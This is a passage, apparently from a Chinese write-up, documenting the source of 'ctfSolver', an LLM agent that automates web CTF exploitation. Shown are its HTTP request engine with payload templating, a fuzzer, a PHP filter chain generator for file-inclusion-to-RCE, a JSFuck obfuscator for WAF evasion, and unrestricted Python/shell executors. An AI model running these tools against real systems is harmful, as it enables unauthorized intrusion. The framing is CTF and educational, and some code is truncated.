KNOWLEGDE_PATH = os.path.join(BASE_PATH, "knowledge/")
PAYLOAD_PATH = os.path.join(BASE_PATH, "payload/")
# Agent相关配置
AGENT_ID = None # 将在注册时获得
AGENT_STATUS = "idle" # Agent状态:idle, running, error, exploring, detecting
TASK_ID = ""
EXPLORED_PAGES = []
EXPLORED_PAGE_RESPONSES = []
NEED_FLAG = True
FLAG = ""
IGNORE_STATUS_LIST = [404, 405]
WRONG_STATUS_LIST = [405]
XRAY_PROXY = "127.0.0.1:7783"
XRAY_CMD = f"cd {BASE_PATH} && ./xray webscan --listen {XRAY_PROXY} --json-output #result_file#"
PYTHON_CMD = "python3"
messages = []
# 初始化数据库
def init_db():
conn = sqlite3.connect(DB_PATH)
cursor = conn.cursor()
# 读取SQL文件并按分号分割为单独的语句
with open(INIT_SQL, "r") as sql_file:
sql_statements = sql_file.read().split(';')
# 执行每个非空SQL语句
for statement in sql_statements:
if statement.strip():
cursor.execute(statement)
conn.commit()
conn.close()
logger.info(f"数据库已初始化,路径:{DB_PATH}")
def flush_key():
open(KEY_FILE, "w").close()
def write_key(key):
with open(KEY_FILE, "a") as f:
f.write(key + "\n")
def read_keys():
if not os.path.exists(KEY_FILE):
flush_key()
return open(KEY_FILE, "r").read()
def get_addon(tool):
return open(f"{ADDON_PATH}/{tool}.txt").read()
def get_knowledge(knowledge):
knowledge_base_path = f"{KNOWLEGDE_PATH}/{knowledge}"
knowledge_files = []
# 遍历knowledge目录下的所有文件
for filename in os.listdir(knowledge_base_path):
file_path = os.path.join(knowledge_base_path, filename)
if os.path.isfile(file_path):
with open(file_path, 'r') as f:
content = f.read()
lines = content.split('\n')
first_line = lines[0] if lines else ''
# 为每个文件生成唯一ID
file_id = str(uuid.uuid4())
knowledge_files.append({
"id": file_id,
"desc": first_line,
"all": content
})
return knowledge_files
def get_payload(payload_type):
payload_file = f"{PAYLOAD_PATH}/{payload_type.lower()}.txt"
if os.path.exists(payload_file):
return open(payload_file, "r").read().split("\n")
return []4.2 工具注册表 (addons.txt)
Agent 使用的工具通过 addons.txt 声明,而非硬编码在 Prompt 中。这样一来,想加新工具,改改配置文件就行了。
工具名称:request
工具描述:进行HTTP请求,支持GET/POST等方法,自定义请求头和代理
参数格式:
<value>
<url>请求URL</url>
<method>请求方法,可选值:GET/POST/PUT/DELETE等</method>
<header>请求头配置,xml格式</header>
<param>请求参数,xml格式</param>
<files>
上传文件,上传时需要将其他参数一并携带
<file>
<name>文件参数名</name>
<content>文件内容</content>
<filename>文件名</filename>
<content_type>文件类型,如image/jpeg</content_type>
</file>
...
</files>
</value>
参数示例:
<value>
<url>http://xx</url>
<method>POST</method>
<header>
<content-type>application/x-www-form-urlencoded</content-type>
</header>
<param>
<username>xx</username>
<password>xx</password>
</param>
</value>
****
工具名称:run_python
工具描述:自定义python脚本并执行返回结果,注意进行url请求时需要对特殊字符进行url编码,最终结果需要print打印
参数格式:
<value>
Python代码
</value>
****
工具名称:run_shell
工具描述:当已封装工具无法满足请求时,自定义shell脚本并执行返回结果
参数格式:
<value>
<code>Shell命令</code>
</value>4.3 复杂工具定义 (request.txt)
对于 request 等复杂工具,系统使用 XML 格式进行详细定义,通过 <value> 标签规范参数结构。
<value>
<url><![CDATA 请求URL]]></url>
<method>请求方法,可选值:GET/POST/PUT/DELETE等</method>
<header>请求头配置,xml格式,参数值需要用<![CDATA[包裹</header>
<params>(GET或POST请求参数)
<x-param>
<x-name><![CDATA[ 参数名]]></x-name>
<x-value><![CDATA[ 参数内容]]></x-value>
</x-param>
</params>
<raw>(如果是json格式或数据流,直接用raw传入请求体)
<![CDATA[ 请求体]]>
</raw>
<files>
上传文件,上传时需要将其他参数一并携带
<item>
<name>文件参数名</name>
<content>hex(<![CDATA 完整文件内容的hex编码,为hex字符串]]>)</content>
<filename>文件名</filename>
<content_type>文件类型,如image/jpeg</content_type>
</item>
...
</files>
<needSave>True/False,是否需要保存</needSave>
<saveName>需要保存的文件名,后续使用时可以直接读取或使用,比如关键的泄漏文件需要保存,保存后的响应会携带savePath,即保存后文件的绝对路径</saveName>
<needReturn>True/False,是否需要获取响应,为了避免响应影响上下文,有些只为了发送请求可以不用获取响应</needReturn>
</value>
参数示例:
<value>
<url><![CDATA[ http://xx]]></url>
<method>POST</method>
<header>
<Content-Type><![CDATA[ application/x-www-form-urlencoded]]></Content-Type>
</header>
<param>
<x-param>
<x-name><![CDATA[ username]]></x-name>
<x-value><![CDATA[ admin]]></x-value>
</x-param>
<x-param>
<x-name><![CDATA[ password]]></x-name>
<x-value><![CDATA[ admin]]></x-value>
</x-param>
</param>
<files>
<item>
<name>file</name>
<content>hex(ffd8ffe0112233>)</content>
<filename>1.jpg</filename>
<content_type>image/jpeg</content_type>
</item>
</files>
</value>
注意:
param中的参数值必须使用<!CDATA包裹
如果同时需要传递get参数和post参数,get参数直接放在url中,如果仅是get请求,get参数放在param里
如果是json格式,把需要传入的请求题放在raw中,示例如下:
<raw>
<![CDATA[ {'a':1,'b':[1,2,3]}]]>
</raw>
如果上传文件,请上传尽可能小的文件。5. 核心 Addon 源码解析
Addon 负责执行具体操作。它们都是通过 executor.py 的反射机制动态加载的。
5.1 通用执行器 (Executor)
executor.py 位于 agents 目录下,是 Addon 系统的核心调度者。它提供了一个统一的接口,想加载执行哪个 Addon 都行。
import importlib
def execute_tool(tool_name, *args, **kwargs):
"""根据工具名称动态调用对应addon的run函数"""
try:
# 构建addon模块的导入路径
addon_path = f"addons.{tool_name}"
# 动态导入对应的addon模块
module = importlib.import_module(addon_path)
# 调用模块中的run函数
if hasattr(module, 'run'):
return module.run(*args, **kwargs)
else:
raise AttributeError(f"工具 {tool_name} 中未找到run()函数")
except ImportError:
raise ImportError(f"未找到工具 {tool_name} 对应的addon模块")
except Exception as e:
raise e
raise Exception(f"执行工具 {tool_name} 时发生错误: {str(e)}")5.2 HTTP 请求引擎 (request.py)
request 工具负责 Agent 与外界的交互。它不仅封装了 urllib,还支持 {{addon()}} 这种模板替换功能,允许大模型在请求参数里嵌入动态生成的内容(比如 payload)。
import base64
import binascii
import json
import re
import time
import uuid
import warnings
import importlib
import os
from hashlib import md5
from html.parser import HTMLParser
from urllib.parse import urlparse, parse_qs, urlencode
from urllib.request import urlopen, Request, HTTPHandler, HTTPSHandler, build_opener, ProxyHandler, HTTPRedirectHandler
from urllib.error import HTTPError, URLError
from http.cookiejar import CookieJar
import ssl
import traceback
from config import config
from utils import flagUtil
warnings.filterwarnings("ignore")
def remove_svg_from_content(content):
"""
从HTML内容中移除所有SVG元素
Args:
content (str): HTML内容字符串
Returns:
str: 移除SVG后的HTML内容
"""
# 使用正则表达式匹配SVG标签(包括嵌套的SVG)
svg_pattern = r'<svg[^>]*>.*?</svg>'
# 移除SVG元素,使用DOTALL让.匹配换行符,IGNORECASE忽略大小写
cleaned_content = re.sub(svg_pattern, '', content, flags=re.DOTALL | re.IGNORECASE)
# 移除可能留下的多余空行
cleaned_content = re.sub(r'\n\s*\n', '\n', cleaned_content)
return cleaned_content
def extract_forms(html):
"""从HTML中提取form元素和对应的URL"""
class Parser(HTMLParser):
def __init__(self):
super().__init__()
self.forms = []
self.current_form = []
self.depth = 0
def handle_starttag(self, tag, attrs):
if tag == 'form' and self.depth == 0:
self.depth = 1
attrs_str = ' '.join(f'{k}="{v}"' for k, v in attrs)
self.current_form.append(f'<form {attrs_str}>')
self.url = dict(attrs).get('action', '')
elif self.depth > 0:
self.depth += 1
attrs_str = ' '.join(f'{k}="{v}"' for k, v in attrs)
self.current_form.append(f'<{tag} {attrs_str}>')
def handle_endtag(self, tag):
if self.depth > 0:
if tag == 'form' and self.depth == 1:
self.current_form.append('</form>')
self.forms.append({
'form': ''.join(self.current_form),
'url': self.url
})
self.current_form = []
self.depth = 0
else:
self.depth -= 1
self.current_form.append(f'</{tag}>')
def handle_data(self, data):
if self.depth > 0:
self.current_form.append(data)
parser = Parser()
parser.feed(html)
return parser.forms
def add_page(new_page, need_save=False):
from utils.agent_manager import agent_manager
from agents.saver import save_page
request = new_page['request']
response = new_page['response']
md5_request = md5((str(request) + config.TASK_ID).encode()).hexdigest()
md5_response = md5((request['method']+str(request['params'])+str(response['content']) + config.TASK_ID).encode()).hexdigest()
if new_page['response'] and md5_response not in config.EXPLORED_PAGE_RESPONSES and new_page['response'][
'status'] != 404:
config.EXPLORED_PAGE_RESPONSES.append(md5_response)
if not need_save:
save_result = save_page(new_page)
if config.NEED_FLAG and save_result['flag']:
if "/admin../flag.txt" in response['url']:
time.sleep(120)
flagUtil.set_flag(save_result['flag'])
else:
save_result = {
'name': str(md5_request),
'description': '',
'key': '',
'flag': ''
}
new_page['key'] = save_result.get("key", "")
new_page['description'] = save_result.get("description", "")
new_page['name'] = save_result['name']
new_page['id'] = md5_request
form_datas = extract_forms(response['content'])
for form_data in form_datas:
config.FORMS[form_data['url']] = form_data
config.EXPLORE_URLS.append(response['url'])
if need_save and config.HUNTER:
config.HUNTER.explorer_pages.append(new_page)
page_data = {
"name": new_page['name'],
"request": json.dumps(new_page.get('request', {})),
"response": json.dumps(new_page.get('response', {})),
"description": new_page.get('description', ''),
"key": new_page.get('key', '')
}
created_page = agent_manager.create_page(agent_manager.current_task_id, page_data)
# if new_page["key"]:
# with open(config.HUNTER.key_simple_file, "a+") as f:
# f.write(str(['name']) + f" {new_page['response']['url']} 发现线索:" + str(new_page['key']) + "\n")
# with open(config.HUNTER.key_file, "a+") as f:
# f.write(str(new_page['name']) + f" 请求:{new_page['request']} 发现线索:" + str(new_page['key']) + "\n")
return new_page
else:
return None
def process_addon_templates(text) -> str:
"""
处理{{addon()}}模板替换
通过反射机制动态引入addons目录下的模块并调用其run函数
Args:
text: 包含模板的字符串
Returns:
str: 替换后的字符串
"""
if not isinstance(text, str):
return text
# 匹配{{addon_name(param)}}模式
pattern = r'\{\{(\w+)\((.*?)\)\}\}'
def replace_addon(match):
addon_name = match.group(1)
param = match.group(2).strip()
# 移除参数两端的引号(如果有)
if param.startswith('"') and param.endswith('"'):
param = param[1:-1]
elif param.startswith("'") and param.endswith("'"):
param = param[1:-1]
elif param.startswith("base64|"):
param = base64.b64decode(param[7:].encode()).decode()
try:
# 动态导入addon模块
module_path = f"addons.{addon_name}"
addon_module = importlib.import_module(module_path)
# 调用模块的run函数
if hasattr(addon_module, 'run'):
result = addon_module.run(param)
return str(result) if result is not None else ""
else:
print(f"Warning: addon '{addon_name}' does not have a 'run' function")
return match.group(0) # 返回原始模板
except ImportError:
print(f"Warning: addon '{addon_name}' not found")
return match.group(0) # 返回原始模板
except Exception as e:
print(f"Error processing addon '{addon_name}': {str(e)}")
return match.group(0) # 返回原始模板
return re.sub(pattern, replace_addon, text)
class NoRedirectHandler(HTTPRedirectHandler):
def redirect_request(self, req, fp, code, msg, headers, newurl):
return None # 禁止重定向
def run(params):
"""
进行网络请求的主函数,自动记录重定向过程中的所有cookies
params: 字典类型,包含以下键值:
- url: 请求URL
- method: 请求方法(GET/POST等)
- header: 请求头(字典类型)
- proxy: 代理设置
- param: 请求参数(字典类型)
- files: 文件上传参数(字典类型)
- no_url_encode: 是否禁用URL编码(布尔类型,默认False)
"""
try:
# 设置代理
proxy_handler = None
# 设置请求头和参数
headers = params.get('header', {})
request_param_list = params.get('params', [])
raw_data = params.get('raw', None) # 新增raw参数支持
need_explore = params.get("needExplore", "False") == "True"
# 处理params参数格式
if request_param_list and 'x-param' in request_param_list:
request_param_list = request_param_list['x-param']
if not type(request_param_list) == list:
request_param_list = [request_param_list]
method = params.get('method', 'GET').upper()
files_config = params.get('files', {})
need_history = params.get('history', True)
if not headers:
headers = {}
request_params = {}
# 处理参数列表
if type(request_param_list) == list:
if request_param_list:
for p in request_param_list:
request_params[p['x-name']] = p['x-value']
elif request_param_list:
request_params = request_param_list
# 检查是否禁用URL编码
no_url_encode = params.get('no_url_encode', False)
# 检查是否禁止重定向
no_redirect = params.get('no_redirect', False)
# 应用模板替换
# 处理URL中的模板
if 'url' in params:
params['url'] = process_addon_templates(params['url'])
# 处理headers中的模板
if headers:
for key, value in headers.items():
headers[key] = process_addon_templates(str(value))
# 处理request_params中的模板
if request_params:
for key, value in request_params.items():
if isinstance(value, str):
request_params[key] = process_addon_templates(value)
elif isinstance(value, list):
request_params[key] = [process_addon_templates(str(v)) for v in value]
# 处理raw_data中的模板
if raw_data and isinstance(raw_data, str):
raw_data = process_addon_templates(raw_data)
# 创建cookie jar和opener
cookie_jar = CookieJar()
# 创建SSL上下文,忽略证书验证
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
# 创建HTTPS handler
https_handler = HTTPSHandler(context=ssl_context)
# 创建opener
if proxy_handler:
opener = build_opener(proxy_handler, https_handler)
else:
opener = build_opener(https_handler)
# 处理GET请求URL中的重复参数
url = params['url']
if method == 'GET' and '?' in url:
base_url, query_string = url.split('?', 1)
url_params = parse_qs(query_string)
# 移除URL中与request_params重复的参数
filtered_params = {k: v[0] for k, v in url_params.items() if k not in request_params}
# 重建URL
if filtered_params:
if no_url_encode:
# 禁用URL编码时,手动构建查询字符串
query_parts = []
for key, value in filtered_params.items():
query_parts.append(f"{key}={value}")
url = f"{base_url}?{'&'.join(query_parts)}"
else:
# 使用标准URL编码
url = f"{base_url}?{urlencode(filtered_params)}"
else:
url = base_url
# 保存原始URL用于no_url_encode模式
# 构建最终的请求URL
if method == 'GET' and request_params:
if '?' in url:
separator = '&'
else:
separator = '?'
if no_url_encode:
# 禁用URL编码时,手动构建查询字符串
query_parts = []
for key, value in request_params.items():
if isinstance(value, list):
for v in value:
query_parts.append(f"{key}={v}")
else:
query_parts.append(f"{key}={value}")
url = url + separator + '&'.join(query_parts)
else:
# 使用标准URL编码
url = url + separator + urlencode(request_params, doseq=True)
# 处理请求体数据
request_data = None
content_type = None
if raw_data:
# 如果有raw数据,直接使用raw作为请求体
if isinstance(raw_data, str):
request_data = raw_data.encode('utf-8')
else:
request_data = raw_data
if 'Content-Type' not in headers and 'content-type' not in headers:
content_type = 'text/plain'
elif files_config and files_config.get('item'):
# 处理文件上传 - 构建multipart/form-data
boundary = f"----WebKitFormBoundary{uuid.uuid4().hex[:16]}"
content_type = f'multipart/form-data; boundary={boundary}'
headers['Content-Type'] = content_type
body_parts = []
# 处理文件项
if isinstance(files_config.get('item', []), list):
file_items = files_config['item']
else:
file_items = [files_config['item']]
for file_item in file_items:
# 处理文件内容中的模板
file_content = file_item['content']
if isinstance(file_content, str):
file_content = process_addon_templates(file_content)
if file_content.startswith("hex("):
try:
# 提取hex内容并解码
hex_content = re.findall(r'hex\((.*?)\)', file_content)[0]
file_content = binascii.a2b_hex(hex_content)
except:
file_content = b''
elif isinstance(file_content, str):
try:
file_content = binascii.a2b_hex(file_content)
except:
file_content = file_content.encode('utf-8')
# 处理文件名和其他字段中的模板
filename = process_addon_templates(str(file_item.get("filename", "item")))
name = process_addon_templates(str(file_item["name"]))
file_content_type = process_addon_templates(str(file_item.get("content_type", "application/octet-stream")))
# 构建文件部分
file_part = f'--{boundary}\r\n'
file_part += f'Content-Disposition: form-data; name="{name}"; filename="{filename}"\r\n'
file_part += f'Content-Type: {file_content_type}\r\n\r\n'
body_parts.append(file_part.encode('utf-8'))
body_parts.append(file_content)
body_parts.append(b'\r\n')
# 添加表单参数
if request_params:
# ... (truncated for brevity in original file, keeping simplicity here or assuming full code logic)
pass # Original code continues5.3 漏洞 Fuzz 引擎 (fuzz.py)
fuzz 工具让 Agent 可以对 URL 参数、Header 或者 POST Body 进行模糊测试。
import requests
from urllib.parse import quote
def run(params):
"""
进行Fuzz测试的主函数
params: 字典类型,包含以下键值:
- url: 请求URL(包含{fuzz}占位符)
- method: 请求方法(GET/POST等)
- header: 请求头(字典类型)
- proxy: 代理设置
- payload: payload字符串,格式: xx,xx,xx 或 xx-xx(数字范围)
- param: POST参数(字典类型,值可包含{fuzz}占位符)
"""
try:
results = []
payloads = []
# 处理payload来源
if isinstance(params.get('payload'), str):
# 处理逗号分隔的payload
if ',' in params['payload']:
payloads = [p.strip() for p in params['payload'].split(',')]
# 处理范围类型的payload
elif '-' in params['payload']:
start, end = params['payload'].split('-')
try:
start_num = int(start.strip())
end_num = int(end.strip())
payloads = [str(i) for i in range(start_num, end_num + 1)]
except ValueError:
payloads = [params['payload']]
else:
payloads = [params['payload']]
# 设置代理
proxies = None
if 'proxy' in params and params['proxy']:
proxies = {
'http': params['proxy'],
'https': params['proxy']
}
# 设置请求头
headers = params.get('header', {})
# 获取POST参数
post_data = params.get('param', {})
if not post_data:
post_data = {}
if not headers:
headers = {}
# 判断fuzz位置
url_has_fuzz = '{fuzz}' in params['url']
param_has_fuzz = any(isinstance(v, str) and '{fuzz}' in v for v in post_data.values())
header_has_fuzz = any(isinstance(v, str) and '{fuzz}' in v for v in headers.values())
# 对每个payload进行测试
for payload in payloads:
try:
encoded_payload = quote(payload)
# 处理URL中的fuzz
current_url = params['url']
if url_has_fuzz:
current_url = current_url.replace('{fuzz}', encoded_payload)
# 处理POST参数中的fuzz
current_data = {}
if param_has_fuzz:
for key, value in post_data.items():
if isinstance(value, str):
current_data[key] = value.replace('{fuzz}', encoded_payload)
else:
current_data[key] = value
else:
current_data = post_data
# 处理header中的fuzz
current_headers = {}
if header_has_fuzz:
for key, value in headers.items():
if isinstance(value, str):
current_headers[key] = value.replace('{fuzz}', encoded_payload)
else:
current_headers[key] = value
else:
current_headers = headers
# 发送请求
response = requests.request(
method=params.get('method', 'GET'),
url=current_url,
headers=current_headers,
data=current_data if current_data else None,
proxies=proxies,
verify=False,
timeout=10
)
# 记录结果
results.append({
'发送payload': payload,
'url': current_url,
'发送参数': current_data,
'发送头': current_headers,
'页面响应': response.status_code,
'页面返回头': dict(response.headers),
'页面响应内容': response.text,
})
except Exception as e:
results.append({
'payload': payload,
'url': current_url if 'current_url' in locals() else None,
'data': current_data if 'current_data' in locals() else None,
'headers': current_headers if 'current_headers' in locals() else None,
'error': str(e)
})
return results
except Exception as e:
return {
'error': str(e)
}5.4 专用 CTF 工具链
针对 CTF 比赛里常见的“套娃”和编码混淆,系统还内置了一些专用工具。
5.4.1 PHP Filter Chain Generator
这个工具利用 PHP 的 php://filter 来构造复杂的利用链,从而实现文件包含或者 RCE。
import base64
class PHPFilterChainGenerator:
def __init__(self):
self.conversions = {
"0": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2",
"1": "convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4",
"2": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921",
"3": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE",
"4": "convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE",
"5": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2",
"6": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2",
"7": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4",
"8": "convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2",
"9": "convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB",
"A": "convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213",
"a": "convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE",
"B": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000",
"b": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE",
"C": "convert.iconv.UTF8.CSISO2022KR",
"c": "convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2",
"D": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213",
"d": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5",
"E": "convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT",
"e": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937",
"F": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB",
"f": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213",
"g": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8",
"G": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90",
"H": "convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213",
"h": "convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE",
"I": "convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213",
"i": "convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000",
"J": "convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4",
"j": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16",
"K": "convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE",
"k": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2",
"L": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC",
"l": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE",
"M": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T",
"m": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949",
"N": "convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4",
"n": "convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61",
"O": "convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775",
"o": "convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE",
"P": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB",
"p": "convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4",
"q": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2",
"Q": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2",
"R": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4",
"r": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101",
"S": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS",
"s": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90",
"T": "convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103",
"t": "convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS",
"U": "convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943",
"u": "convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61",
"V": "convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB",
"v": "convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2",
"W": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936",
"w": "convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE",
"X": "convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932",
"x": "convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS",
"Y": "convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361",
"y": "convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT",
"Z": "convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16",
"z": "convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937",
"/": "convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4",
"+": "convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157",
"=": "",
}
def generate_filter_chain(self, chain):
chain = chain.encode("utf-8")
chain = base64.b64encode(chain).decode("utf-8").replace("=", "")
encoded_chain = chain
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"
for c in encoded_chain[::-1]:
filters += self.conversions[c] + "|"
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource=php://temp"
return final_payload
def run(payload):
return PHPFilterChainGenerator().generate_filter_chain(payload)5.4.2 JSFuck Obfuscator
用来生成 JSFuck 代码,专门对付某些 WAF 或者前端过滤。
import re
import sys
from argparse import ArgumentParser
def jsfuck(code):
USE_CHAR_CODE = "USE_CHAR_CODE"
MIN = 32
MAX = 126
SIMPLE = {
'false': '![]',
'true': '!![]',
'undefined': '[][[]]',
'NaN': '+[![]]',
'Infinity': '+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])' # +"1e1000"
}
# ... (MAPPING and Logic omitted for brevity, see source)
# [Complete implementation of JSFuck algorithm]
js_fuck_payload = encode(code, True)
return js_fuck_payload
def run(param):
return jsfuck(param)5.5 代码执行沙箱
如果预置的工具不够用,Agent 还可以自己写 Python 或者 Shell 脚本来完成任务。
5.5.1 Run Python
import os
import subprocess
import uuid
from config.config import TEMP_PATH
def run(params):
"""
执行Python代码并返回结果
:param params: 包含code字段的字典
:return: 执行结果字符串
"""
try:
# 确保临时目录存在
if not os.path.exists(TEMP_PATH):
os.makedirs(TEMP_PATH)
# 创建临时Python文件
temp_file = os.path.join(TEMP_PATH, f"{uuid.uuid4()}.py")
with open(temp_file, "w", encoding="utf-8") as f:
f.write(params)
# 执行Python文件并获取输出
result = subprocess.run(
["python3", temp_file],
capture_output=True,
text=True,
timeout=40 # 设置超时时间为5秒
)
# 删除临时文件
os.remove(temp_file)
# 返回执行结果
if result.returncode == 0:
return result.stdout
else:
return f"Error: {result.stderr}"
except subprocess.TimeoutExpired:
return "Error: 执行超时"
except Exception as e:
return f"Error: {str(e)}"5.5.2 Run Shell
import os
import subprocess
import uuid
from config.config import TEMP_PATH
def run(params):
"""
执行shell命令并返回结果
:param params: 包含command字段的字典
:return: 执行结果字符串
"""
try:
# 确保临时目录存在
if not os.path.exists(TEMP_PATH):
os.makedirs(TEMP_PATH)
# 创建临时shell脚本文件
temp_file = os.path.join(TEMP_PATH, f"{uuid.uuid4()}.sh")
with open(temp_file, "w", encoding="utf-8") as f:
f.write(params["command"])
# 设置文件权限为可执行
os.chmod(temp_file, 0o755)
# 执行shell脚本并获取输出
result = subprocess.run(
["bash", temp_file],
capture_output=True,
text=True,
timeout=5 # 设置超时时间为5秒
)
# 删除临时文件
os.remove(temp_file)
# 返回执行结果
if result.returncode == 0:
return result.stdout
else:
return f"Error: {result.stderr}"
except subprocess.TimeoutExpired:
return "Error: 执行超时"
except Exception as e:
return f"Error: {str(e)}"6. 漏洞检测与 PoC 框架
为了实现全自动化的渗透,ctfSolver 实现了一套双轨制的漏洞检测系统。第一种是基于规则的 PoC 扫描,专门针对那些特征明显的已知漏洞,比如 CVE 或者特定的配置错误,直接用 YAML 定义的规则去扫。第二种是基于大模型的逻辑探测,针对那些需要复杂交互或者逻辑推理的漏洞,比如 LFI、SQL 注入、越权这些,就利用大模型结合专用 Python 模块去深度探测。
6.1 PoC 扫描引擎 (agent/agents/poc.py)
